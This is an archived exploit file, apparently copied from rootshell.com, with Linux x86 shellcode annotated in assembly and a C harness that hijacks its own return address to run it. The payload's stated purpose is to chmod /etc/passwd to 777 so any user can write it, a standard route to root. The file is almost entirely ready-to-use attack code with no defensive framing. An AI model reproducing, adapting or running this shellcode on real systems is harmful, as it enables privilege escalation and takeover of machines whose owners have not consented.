home *** CD-ROM | disk | FTP | other *** search
- /* [from http://www.rootshell.com/ ]
-
- changes mode on /etc/passwd to 777
- making it writeable by anyone.
-
- jmp rootshell
- coded_by_bmV:
- popl %edi
- call yo
- rootshell:
- call coded_by_bmV
- yo:
- xorl %ebx,%ebx
- movb $(phile-yo),%bl
- addl %edi,%ebx
- xorb %al,%al
- movb %al,11(%ebx)
- xorl %ecx,%ecx
- movw $00777,%cx
- xorl %eax,%eax
- movb $0xf,%al
- int $0x80
- xorl %eax,%eax
- movb $0x01,%al
- int $0x80
- phile:
- .ascii \"/etc/passwd\"
- */
-
- char shellcode[]=
- "\xeb\x06\x5f\xe8\x05\x00\x00\x00\xe8\xf5\xff\xff\xff\x31"
- "\xdb\xb3\x1d\x01\xfb\x30\xc0\x88\x43\x0b\x31\xc9\x66\xb9"
- "\xff\x01\x31\xc0\xb0\x0f\xcd\x80\x31\xc0\xb0\x01\xcd\x80"
- "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x89\xec\x5d\xc3";
-
- void main()
- {
- int *ret;
-
- ret = (int *)&ret + 2;
- (*ret) = (int)shellcode;
- }
-
-